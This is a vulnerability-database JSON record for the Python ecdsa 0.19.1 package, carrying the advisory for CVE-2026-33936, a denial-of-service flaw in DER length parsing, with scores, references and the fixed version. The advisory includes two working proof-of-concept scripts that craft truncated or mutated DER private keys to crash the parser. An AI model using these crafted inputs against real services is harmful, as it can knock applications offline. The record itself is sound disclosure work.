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{ "url": "http://public2.vulnerablecode.io/api/packages/1082287?format=api", "purl": "pkg:pypi/ecdsa@0.19.1", "type": "pypi", "namespace": "", "name": "ecdsa", "version": "0.19.1", "qualifiers": {}, "subpath": "", "is_vulnerable": true, "next_non_vulnerable_version": "0.19.2", "latest_non_vulnerable_version": "0.19.2", "affected_by_vulnerabilities": [ { "url": "http://public2.vulnerablecode.io/api/vulnerabilities/24556?format=api", "vulnerability_id": "VCID-kbjk-tnfz-rfdw", "summary": "python-ecdsa: Denial of Service via improper DER length validation in crafted private keys\n## Summary\n\nAn issue in the low-level DER parsing functions can cause unexpected exceptions to be raised from the public API functions.\n\n1. `ecdsa.der.remove_octet_string()` accepts truncated DER where the encoded length exceeds the available buffer. For example, an OCTET STRING that declares a length of 4096 bytes but provides only 3 bytes is parsed successfully instead of being rejected.\n\n2. Because of that, a crafted DER input can cause `SigningKey.from_der()` to raise an internal exception (`IndexError: index out of bounds on dimension 1`) rather than cleanly rejecting malformed DER (e.g., raising `UnexpectedDER` or `ValueError`). Applications that parse untrusted DER private keys may crash if they do not handle unexpected exceptions, resulting in a denial of service.\n\n## Impact\n\nPotential denial-of-service when parsing untrusted DER private keys due to unexpected internal exceptions, and malformed DER acceptance due to missing bounds checks in DER helper functions.\n\n## Reproduction\n\nAttach and run the following PoCs:\n\n### poc_truncated_der_octet.py\n\n```python\nfrom ecdsa.der import remove_octet_string, UnexpectedDER\n\n# OCTET STRING (0x04)\n# Declared length: 0x82 0x10 0x00 -> 4096 bytes\n# Actual body: only 3 bytes -> truncated DER\nbad = b\"\\x04\\x82\\x10\\x00\" + b\"ABC\"\n\ntry:\n body, rest = remove_octet_string(bad)\n print(\"[BUG] remove_octet_string accepted truncated DER.\")\n print(\"Declared length=4096, actual body_len=\", len(body), \"rest_len=\", len(rest))\n print(\"Body=\", body)\n print(\"Rest=\", rest)\nexcept UnexpectedDER as e:\n print(\"[OK] Rejected malformed DER:\", e)\n```\n\n- Expected: reject malformed DER when declared length exceeds available bytes\n- Actual: accepts the truncated DER and returns a shorter body\n- Example output:\n```\nParsed body_len= 3 rest_len= 0 (while declared length is 4096)\n```\n\n### poc_signingkey_from_der_indexerror.py\n\n```python\nfrom ecdsa import SigningKey, NIST256p\nimport ecdsa\n\nprint(\"ecdsa version:\", ecdsa.__version__)\n\nsk = SigningKey.generate(curve=NIST256p)\ngood = sk.to_der()\nprint(\"Good DER len:\", len(good))\n\n\ndef find_crashing_mutation(data: bytes):\n b = bytearray(data)\n\n # Try every OCTET STRING tag position and corrupt a short-form length byte\n for i in range(len(b) - 4):\n if b[i] != 0x04: # OCTET STRING tag\n continue\n\n L = b[i + 1]\n if L >= 0x80:\n # skip long-form lengths for simplicity\n continue\n\n max_possible = len(b) - (i + 2)\n if max_possible <= 10:\n continue\n\n # Claim more bytes than exist -> truncation\n newL = min(0x7F, max_possible + 20)\n b2 = bytearray(b)\n b2[i + 1] = newL\n\n try:\n SigningKey.from_der(bytes(b2))\n except Exception as e:\n return i, type(e).__name__, str(e)\n\n return None\n\n\nres = find_crashing_mutation(good)\nif res is None:\n print(\"[INFO] No exception triggered by this mutation strategy.\")\nelse:\n i, etype, msg = res\n print(\"[BUG] SigningKey.from_der raised unexpected exception type.\")\n print(\"Offset:\", i, \"Exception:\", etype, \"Message:\", msg)\n```\n\n- Expected: reject malformed DER with `UnexpectedDER` or `ValueError`\n- Actual: deterministically triggers an internal `IndexError` (DoS risk)\n- Example output:\n```\nResult: (5, 'IndexError', 'index out of bounds on dimension 1')\n```\n\n## Suggested fix\n\nAdd “declared length must fit buffer” checks in DER helper functions similarly to the existing check in `remove_sequence()`:\n\n- `remove_octet_string()`\n- `remove_constructed()`\n- `remove_implicit()`\n\nAdditionally, consider catching unexpected internal exceptions in DER key parsing paths and re-raising them as `UnexpectedDER` to avoid crashy failure modes.\n\n## Credit\n\nMohamed Abdelaal (@0xmrma)", "references": [ { "reference_url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33936.json", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://access.redhat.com/hydra/rest/securitydata/cve/CVE-2026-33936.json" }, { "reference_url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33936", "reference_id": "", "reference_type": "", "scores": [ { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.10695", "published_at": "2026-04-24T12:55:00Z" }, { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.10676", "published_at": "2026-04-26T12:55:00Z" }, { "value": "0.00036", "scoring_system": "epss", "scoring_elements": "0.10743", "published_at": "2026-04-21T12:55:00Z" }, { "value": "0.00039", "scoring_system": "epss", "scoring_elements": "0.11659", "published_at": "2026-05-05T12:55:00Z" }, { "value": "0.00039", "scoring_system": "epss", "scoring_elements": "0.11743", "published_at": "2026-04-29T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28947", "published_at": "2026-04-11T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28853", "published_at": "2026-04-13T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28903", "published_at": "2026-04-12T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.29027", "published_at": "2026-04-04T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28834", "published_at": "2026-04-07T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28902", "published_at": "2026-04-08T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28942", "published_at": "2026-04-09T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28851", "published_at": "2026-04-18T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28977", "published_at": "2026-04-02T12:55:00Z" }, { "value": "0.00107", "scoring_system": "epss", "scoring_elements": "0.28875", "published_at": "2026-04-16T12:55:00Z" } ], "url": "https://api.first.org/data/v1/epss?cve=CVE-2026-33936" }, { "reference_url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33936", "reference_id": "", "reference_type": "", "scores": [], "url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2026-33936" }, { "reference_url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" } ], "url": "https://ftp.suse.com/pub/projects/security/yaml/suse-cvss-scores.yaml" }, { "reference_url": "https://github.com/tlsfuzzer/python-ecdsa", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://github.com/tlsfuzzer/python-ecdsa" }, { "reference_url": "https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-01T13:44:27Z/" } ], "url": "https://github.com/tlsfuzzer/python-ecdsa/commit/bd66899550d7185939bf27b75713a2ac9325a9d3" }, { "reference_url": "https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-01T13:44:27Z/" } ], "url": "https://github.com/tlsfuzzer/python-ecdsa/releases/tag/python-ecdsa-0.19.2" }, { "reference_url": "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" }, { "value": "Track", "scoring_system": "ssvc", "scoring_elements": "SSVCv2/E:P/A:Y/T:P/P:M/B:A/M:M/D:T/2026-04-01T13:44:27Z/" } ], "url": "https://github.com/tlsfuzzer/python-ecdsa/security/advisories/GHSA-9f5j-8jwj-x28g" }, { "reference_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33936", "reference_id": "", "reference_type": "", "scores": [ { "value": "5.3", "scoring_system": "cvssv3.1", "scoring_elements": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L" }, { "value": "MODERATE", "scoring_system": "generic_textual", "scoring_elements": "" } ], "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33936" }, { "reference_url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132164", "reference_id": "1132164", "reference_type": "", "scores": [], "url": "https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1132164" }, { "reference_url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452539", "reference_id": "2452539", "reference_type": "", "scores": [], "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2452539" }, { "reference_url": "https://github.com/advisories/GHSA-9f5j-8jwj-x28g", "reference_id": "GHSA-9f5j-8jwj-x28g", "reference_type": "", "scores": [ { "value": "MODERATE", "scoring_system": "cvssv3.1_qr", "scoring_elements": "" } ], "url": "https://github.com/advisories/GHSA-9f5j-8jwj-x28g" } ], "fixed_packages": [ { "url": "http://public2.vulnerablecode.io/api/packages/67763?format=api", "purl": "pkg:pypi/ecdsa@0.19.2", "is_vulnerable": false, "affected_by_vulnerabilities": [], "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/ecdsa@0.19.2" } ], "aliases": [ "CVE-2026-33936", "GHSA-9f5j-8jwj-x28g" ], "risk_score": 3.1, "exploitability": "0.5", "weighted_severity": "6.2", "resource_url": "http://public2.vulnerablecode.io/vulnerabilities/VCID-kbjk-tnfz-rfdw" } ], "fixing_vulnerabilities": [], "risk_score": "3.1", "resource_url": "http://public2.vulnerablecode.io/packages/pkg:pypi/ecdsa@0.19.1" }